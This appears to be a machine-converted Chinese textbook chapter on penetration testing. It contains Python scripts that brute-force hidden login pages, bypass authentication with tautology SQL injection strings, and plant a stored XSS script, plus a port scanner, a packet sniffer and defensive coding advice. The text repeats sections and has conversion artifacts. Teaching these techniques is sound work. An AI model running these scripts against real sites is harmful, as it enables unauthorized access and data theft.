在現今網路環境中,Web 應用程式安全至關重要。本文將探討兩種常見攻擊手法:SQL 注入和跨站指令碼攻擊(XSS),並以 Python 程式碼示範如何執行滲透測試,包含自動化尋找登入頁面、SQL 注入測試、以及 XSS 攻擊模擬。同時,我們也會探討網路掃描技術,並提供使用 Python 和 Scapy 進行 TCP 埠掃描和網路嗅探的程式碼範例。最後,我們將提供一些安全編碼建議和防禦措施,協助開發者和資安人員提升 Web 應用程式的安全性,避免遭受攻擊。
SQL注入攻擊與跨站指令碼攻擊的滲透測試
在本章中,我們將探討一些對Web應用程式的嚴重攻擊。您一定聽說過諸如資料竊取、使用者名稱和密碼破解、網站篡改等事件。這些事件通常是由於Web應用程式中存在SQL注入和XSS攻擊的漏洞所致。在第8章《Web伺服器和Web應用程式的足跡》中,您學習瞭如何檢視正在使用的資料函式庫軟體以及Web伺服器上執行的作業系統。現在,我們將逐一進行我們的攻擊。
SQL注入攻擊簡介
SQL注入是一種技術,或者可以說是一種專家技術,它利用非驗證輸入漏洞來竊取資料。Web應用程式的工作方法如下圖所示:
客戶端在本地電腦上開啟網頁。主機透過網際網路連線到Web伺服器。如果我們的查詢未經驗證,則它將進入資料函式庫執行,然後可能會洩露敏感資料或刪除資料。
SQL注入攻擊的型別
SQL注入攻擊可以分為以下兩種型別:
- 簡單SQL注入:簡單SQL注入攻擊包含恆真式。在恆真式中,注入陳述式始終為真。聯合查詢陳述式傳回預期資料與目標資料的聯合。
- 盲注SQL注入:在這種攻擊中,攻擊者利用資料函式庫伺服器在執行SQL注入攻擊後產生的錯誤訊息。攻擊者透過提出一系列真假問題來收集資料。
使用Python指令碼進行SQL注入攻擊
所有SQL注入攻擊都可以手動執行。但是,您可以使用Python程式設計來自動化攻擊。如果您是一名優秀的滲透測試人員,並且知道如何手動執行攻擊,那麼您可以製作自己的程式來檢查這一點。
為了獲得網站的使用者名稱和密碼,我們必須擁有管理員或登入控制檯頁面的URL。客戶端不會在其網站上提供指向管理員控制檯頁面的連結。
尋找管理員控制檯頁面
我們的第一步是找到管理員控制檯頁面。過去,我曾經使用過諸如http://example.com/admin或http://example.com/login之類別的URL。現在,Web開發人員已經變得更加聰明,他們使用不同的名稱來隱藏登入頁面。
假設我有300多個連結需要嘗試。如果我手動嘗試這樣做,可能需要大約一到兩天才能獲得網頁。
使用Python自動化SQL注入測試
您可以編寫Python指令碼來自動化SQL注入測試。這樣,您就可以檢查網站是否容易受到SQL注入攻擊。
程式碼範例
import requests
# 定義目標URL
url = "http://example.com/login"
# 定義payload
payload = {
"username": "admin",
"password": "wrong_password' OR '1'='1"
}
# 傳送POST請求
response = requests.post(url, data=payload)
# 檢查回應
if "Welcome" in response.text:
print("SQL注入成功!")
else:
print("SQL注入失敗!")
內容解密:
- 匯入requests函式庫:我們使用
requests函式庫來傳送HTTP請求。 - 定義目標URL:我們定義了目標登入頁面的URL。
- 定義payload:我們定義了一個包含惡意SQL陳述式的payload,用於嘗試SQL注入。
- 傳送POST請求:我們使用
requests.post()方法傳送POST請求,將payload作為資料傳遞。 - 檢查回應:我們檢查伺服器的回應,以確定SQL注入是否成功。
跨站指令碼攻擊(XSS)
跨站指令碼攻擊(XSS)是一種允許攻擊者在使用者瀏覽器中執行惡意指令碼的攻擊。XSS攻擊可以分為以下幾種型別:
- 儲存型XSS:惡意指令碼儲存在伺服器上,當使用者存取受影響的頁面時,指令碼就會執行。
- 反射型XSS:惡意指令碼包含在使用者提交的請求中,伺服器將其反射回應給使用者,瀏覽器執行該指令碼。
- DOM型XSS:惡意指令碼在客戶端執行,無需與伺服器互動。
使用Python進行XSS攻擊測試
您可以使用Python指令碼來測試網站是否容易受到XSS攻擊。
SQL 注入攻擊與 XSS 測試章節 9
自動化尋找登入頁面
在進行網站滲透測試時,尋找登入頁面是至關重要的步驟。以下是一個用於尋找 PHP 網站登入頁面的 Python 程式範例:
import shelve
import urllib.request
import http.client
url = input("Enter the URL: ")
domain = url.split('/')[2]
shelve_file = shelve.open("login_pages.db")
try:
login_pages = shelve_file['login_pages']
finally:
shelve_file.close()
http_connection = http.client.HTTPConnection(domain)
for page in login_pages:
test_url = domain + page
print(test_url)
http_connection.request("GET", page)
response = http_connection.getresponse()
if response.status == 200:
print("Found login page:", test_url)
cont = input("Continue? (y/n): ")
if cont.lower() != 'y':
break
http_connection.close()
程式碼解析:
- 使用
shelve模組來儲存和讀取預期的登入頁面名稱。 - 使用
urllib.request和http.client模組來傳送 HTTP 請求。 - 程式會要求使用者輸入網址,並從中提取網域名稱。
- 遍歷
login_pages.db中的登入頁面名稱,並對每個頁面傳送 GET 請求。 - 如果收到 HTTP 狀態碼 200,表示成功找到登入頁面。
管理登入頁面資料函式庫
為了管理 login_pages.db,我們需要一個額外的 Python 程式:
import shelve
def create_db():
s = shelve.open("login_pages.db")
s['login_pages'] = []
s.close()
def update_db():
s = shelve.open("login_pages.db")
value = input("Enter the value: ")
s['login_pages'].append(value)
s.sync()
s.close()
def retrieve_db():
s = shelve.open("login_pages.db")
for key in s['login_pages']:
print(key)
s.close()
while True:
print("1. Create DB\n2. Update DB\n3. Retrieve DB")
choice = input("Enter your choice: ")
if choice == '1':
create_db()
elif choice == '2':
update_db()
elif choice == '3':
retrieve_db()
else:
break
程式碼解析:
- 提供三個功能:建立資料函式庫、更新資料函式庫和檢索資料函式庫內容。
- 使用
shelve模組來操作資料函式庫檔案。
SQL 注入攻擊
SQL 注入攻擊是一種常見的網路攻擊手段,尤其是在使用者認證環節。
根據恆真式的 SQL 注入
假設某網站的登入驗證程式碼如下:
$sql = "SELECT count(*) FROM users WHERE username='$username' AND password='$password'";
攻擊者可以輸入 ' OR '1'='1 作為使用者名稱和密碼,從而繞過驗證:
$sql = "SELECT count(*) FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'";
這使得查詢結果永遠為真,達到繞過認證的目的。
自動化 SQL 注入測試範例
以下是使用 Python 進行根據恆真式的 SQL 注入測試的範例程式碼:
import mechanize
import re
br = mechanize.Browser()
br.set_handle_robots(False)
url = input("Enter the URL: ")
br.open(url)
br.select_form(nr=0)
flag = 0
for form in br.forms():
print(form)
user1 = input("Enter the username: ")
pass_exp = ["' OR '1'='1", "' OR 'a'='a", "' OR ''='", "' OR 1=1--"]
user2 = user1
for pass1 in pass_exp:
br.select_form(nr=0)
br.form['username'] = user2
br.form['password'] = pass1
br.submit()
data = br.response().read()
data1 = data.decode('utf-8', errors='ignore')
list1 = ['Logoff', 'logout', 'logoff.php', 'logout.php', 'logoff.asp', 'logout.asp']
for i in list1:
if re.search(i, data1):
flag = 1
print("Successfull hit")
break
if flag == 1:
print("Successful attempt")
break
程式碼解析:
- 使用
mechanize模組來自動化網頁表單填寫和提交。 - 對密碼欄位嘗試多種恆真式注入字串,檢查是否能成功繞過認證。
SQL注入攻擊與跨站指令碼攻擊(XSS)分析
簡介
本章節將探討SQL注入攻擊和跨站指令碼攻擊(XSS)的原理、實作方法及其防禦措施。透過理解這兩種常見的網路攻擊方式,開發者和安全測試人員可以更好地保護網路應用程式的安全。
SQL注入攻擊原理
SQL注入攻擊是一種利用應用程式對使用者輸入資料處理不當的漏洞,向資料函式庫注入惡意SQL程式碼,以達到未授權存取或操控資料函式庫的目的。攻擊者透過建構特定的SQL陳述式,可以繞過登入驗證、提取或修改敏感資料,甚至控制整個資料函式庫。
SQL注入攻擊實作範例
以下是一個簡化的Python指令碼範例,用於示範SQL注入攻擊的基本邏輯:
import requests
# 目標URL
url = "http://example.com/login"
# 使用者名稱和密碼輸入列表
usernames = ["admin", "test"]
passwords = ["' or '1'='1", "' or '1'='1"]
# 迭代嘗試登入
for username in usernames:
for password in passwords:
data = {'username': username, 'password': password}
response = requests.post(url, data=data)
# 檢查回應內容是否包含登出或登出相關字眼
if "logout" in response.text.lower():
print("Successful login attempt detected!")
break
SQL注入攻擊防禦措施
- 輸入驗證與過濾:使用如PHP中的
mysql_real_escape_string函式對使用者輸入進行過濾,避免特殊字元被誤譯為SQL語法的一部分。 - 引數化查詢:使用引數化查詢(Prepared Statements)可以有效防止SQL注入攻擊,因為引數值不會被當作SQL語法的一部分執行。
- 最小許可權原則:確保資料函式庫使用者僅擁有執行必要操作所需的最小許可權,限制因SQL注入導致的損害。
跨站指令碼攻擊(XSS)原理
跨站指令碼攻擊(XSS)發生於網路應用程式在未經適當驗證的情況下,將使用者輸入的資料嵌入到動態生成的網頁中,導致惡意指令碼被執行。XSS攻擊可導致使用者資料竊取、帳戶劫持等安全問題。
XSS攻擊型別
- 儲存型XSS:惡意指令碼被儲存在伺服器上,當其他使用者存取相關頁面時觸發。
- 反射型XSS:惡意指令碼透過URL引數等方式傳遞給伺服器,並在回應中反射給使用者瀏覽器執行。
- DOM型XSS:惡意指令碼直接在使用者瀏覽器端透過DOM操作執行。
XSS攻擊防禦措施
- 輸入驗證:嚴格驗證使用者輸入的資料,過濾或轉義特殊字元。
- 輸出編碼:在將使用者輸入的資料輸出到網頁時進行適當的編碼,防止被瀏覽器解析為指令碼。
- 使用Content Security Policy(CSP):CSP可以限制網頁可以載入的資源,有效減少XSS攻擊的風險。
跨站指令碼攻擊(XSS)技術解析
跨站指令碼攻擊(XSS)是一種常見的網路攻擊技術,攻擊者透過注入惡意程式碼至網站中,讓使用者在瀏覽網站時執行惡意程式碼,從而竊取使用者資料或進行其他惡意操作。
XSS 攻擊型別
XSS 攻擊主要分為兩種型別:
- 持久型 XSS(Stored XSS):攻擊者的輸入被儲存在伺服器端,當其他使用者存取該網站時,惡意程式碼會被執行。
- 非持久型 XSS(Reflected XSS):攻擊者的輸入不會被儲存在伺服器端,而是直接在錯誤訊息或其他回應中傳回給使用者。
持久型 XSS 攻擊例項
以下是一個持久型 XSS 攻擊的程式碼範例:
import mechanize
br = mechanize.Browser()
br.set_handle_robots(False)
br.open("http://example.com/comment")
for form in br.forms():
print(form)
br.select_form(nr=0)
br.form['name'] = 'XSS'
br.form['comment'] = '<script>alert("XSS")</script>'
br.submit()
br.open("http://example.com/display")
print(br.response().read())
程式碼解析:
- 使用
mechanize函式庫模擬瀏覽器行為,存取目標網站的評論頁面。 - 列出頁面中的所有表單,並選擇第一個表單進行填寫。
- 在
name和comment欄位中填入惡意程式碼,例如<script>alert("XSS")</script>。 - 提交表單,並存取顯示評論的頁面,觀察惡意程式碼是否被執行。
防範 XSS 攻擊
為了防範 XSS 攻擊,開發者應該:
- 對使用者輸入進行嚴格的驗證和過濾,避免惡意程式碼被注入。
- 使用 HTML 編碼或轉義特殊字元,避免惡意程式碼被執行。
- 使用 Content Security Policy (CSP) 等安全機制,限制網頁中可執行的指令碼來源。
安全編碼例項
以下是一個安全編碼的範例,使用 PHP 語言:
$name = htmlspecialchars($_POST['name'], ENT_QUOTES);
$comment = htmlspecialchars($_POST['comment'], ENT_QUOTES);
// 將過濾後的資料儲存至資料函式庫
// ...
程式碼解析:
- 使用
htmlspecialchars函式對使用者輸入的name和comment欄位進行 HTML 編碼,避免惡意程式碼被執行。 - 將過濾後的資料儲存至資料函式庫,確保資料的安全性。
第9章:SQL注入與XSS滲透測試
自動化XSS攻擊的實作
在前面的章節中,我們已經瞭解了SQL注入的基本原理和實作方法。在本章中,我們將重點放在跨站指令碼攻擊(XSS)的自動化實作上。XSS是一種常見的Web攻擊技術,攻擊者透過在網頁中注入惡意指令碼,從而盜取使用者資料或控制使用者瀏覽器。
程式碼解析
field = int(input("Enter the total number of form fields: "))
list_a = []
list_n = []
for i in range(field):
name = input("Enter the field name: ")
ch = input("Do you want to attack this field? (y/n): ")
if ch.lower() == 'y' or ch.lower() == 'z':
list_a.append(name)
else:
list_n.append(name)
for i in range(len(list_a)):
att = list_a[i]
# 填寫表單欄位
print(f"Filling form field: {att}")
for i in range(len(list_n)):
non = list_n[i]
# 填寫非攻擊欄位
print(f"Filling non-attack field: {non} with BBBBBBB")
內容解密:
- 輸入表單欄位數量:程式首先要求使用者輸入表單中的欄位總數。
- 區分攻擊與非攻擊欄位:透過迴圈詢問每個欄位的名稱,並詢問是否要對該欄位進行XSS攻擊。根據使用者的選擇,將欄位名稱分別存入
list_a(要攻擊的欄位)和list_n(不攻擊的欄位)。 - 自動填寫表單:程式根據
list_a和list_n中的欄位名稱,分別填寫表單。對於要攻擊的欄位,填入XSS攻擊程式碼;對於不攻擊的欄位,填入普通字串(如BBBBBBB)。
防禦XSS攻擊
為了保護網站免受XSS攻擊,開發者可以採取以下措施:
- 輸入驗證:對使用者輸入的資料進行嚴格的驗證和過濾,避免惡意指令碼的注入。
- HTML編碼:對輸出到HTML頁面的資料進行編碼,將特殊字元轉換為HTML實體(如
<轉換為<),防止瀏覽器將其解釋為指令碼。 - 使用安全函式:在PHP中,可以使用
htmlspecialchars()函式對輸出內容進行編碼,防止XSS攻擊。
網路安全與滲透測試技術索引
網路基礎與安全
網路安全涉及多個層面,包括無線網路安全、網路掃描、漏洞利用等。以下是一些關鍵技術和概念:
無線網路安全
無線網路安全是網路安全的一個重要方面。無線網路使用802.11框架進行通訊,涉及諸如接入點(AP)、認證請求和回應、關聯請求和回應等過程。
- 802.11框架:無線網路通訊的基礎協定。
- 接入點(AP):無線網路的中心裝置,負責管理網路連線。
- 認證請求和回應:裝置與AP之間的認證過程。
- 關聯請求和回應:裝置成功認證後,與AP建立連線的過程。
網路掃描與偵測
網路掃描是滲透測試中的一個關鍵步驟,用於發現目標網路中的活動主機和開放埠。
- ICMP ECHO請求和回應:用於檢測主機是否活躍的基本協定。
- TCP掃描:透過TCP協定檢測目標主機的埠狀態。
- UDP掃描:透過UDP協定檢測目標主機的埠狀態。
使用Python實作網路掃描
import socket
def tcp_scan(host, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((host, port))
if result == 0:
print(f"Port {port} is open")
sock.close()
except socket.error:
pass
host = "192.168.1.1"
for port in range(1, 1024):
tcp_scan(host, port)
內容解密:
此程式碼實作了一個簡單的TCP掃描器。它嘗試與目標主機的指定埠建立TCP連線。如果連線成功,則表示該埠是開放的。
- socket.socket(socket.AF_INET, socket.SOCK_STREAM):建立一個TCP socket。
- sock.settimeout(1):設定socket的超時時間為1秒,以避免無限等待。
- sock.connect_ex((host, port)):嘗試與目標主機的指定埠建立連線。如果傳回0,則表示連線成功,即埠開放。
- sock.close():關閉socket,釋放資源。
SQL注入攻擊
SQL注入是一種常見的Web應用安全漏洞,攻擊者透過注入惡意的SQL程式碼來操縱資料函式庫。
- 簡單SQL注入:最基本的SQL注入形式,攻擊者直接在輸入欄位中注入SQL程式碼。
- 盲注SQL注入:當Web應用不直接顯示資料函式庫錯誤資訊時,攻擊者透過觀察應用行為的變化來推斷注入是否成功。
使用Python自動化SQL注入攻擊
import requests
def sql_inject(url, payload):
try:
response = requests.get(url + payload)
if "error" in response.text:
print("SQL Injection successful")
else:
print("SQL Injection failed")
except requests.RequestException:
pass
url = "http://example.com/vulnerable.php?id=1"
payload = "' OR '1'='1"
sql_inject(url, payload)
內容解密:
此程式碼演示瞭如何使用Python自動化一個簡單的SQL注入攻擊。
- requests.get(url + payload):向目標URL傳送GET請求,並在URL引數中注入惡意的SQL程式碼。
- if “error” in response.text:檢查回應文字中是否包含錯誤資訊,以判斷注入是否成功。
跨站指令碼攻擊(XSS)
XSS是一種常見的Web應用安全漏洞,攻擊者透過在Web頁面中注入惡意指令碼來竊取使用者資料或控制使用者瀏覽器。
- 非永續性XSS(反射型XSS):惡意指令碼透過URL引數等方式傳遞給Web應用,並在回應中反射回使用者瀏覽器。
- 永續性XSS(儲存型XSS):惡意指令碼被儲存在Web應用的資料函式庫中,並在使用者存取特定頁面時執行。
網路嗅探與分析
網路嗅探是一種監聽和分析網路流量的技術,用於監控網路活動和偵測潛在的安全威脅。
- 主動嗅探:透過向網路中傳送特定的探測包來取得網路資訊。
- 被動嗅探:僅監聽網路中的流量,不傳送任何探測包。
使用Python實作網路嗅探
from scapy.all import sniff
def packet_callback(packet):
print(packet.summary())
sniff(prn=packet_callback, count=10)
內容解密:
此程式碼使用Scapy函式庫實作了一個簡單的網路嗅探器。
- sniff(prn=packet_callback, count=10):開始嗅探網路流量,並對每個捕捉的包呼叫
packet_callback函式。count=10表示捕捉10個包後停止。 - packet_callback(packet):對每個捕捉的包進行處理,這裡簡單地列印了包的摘要資訊。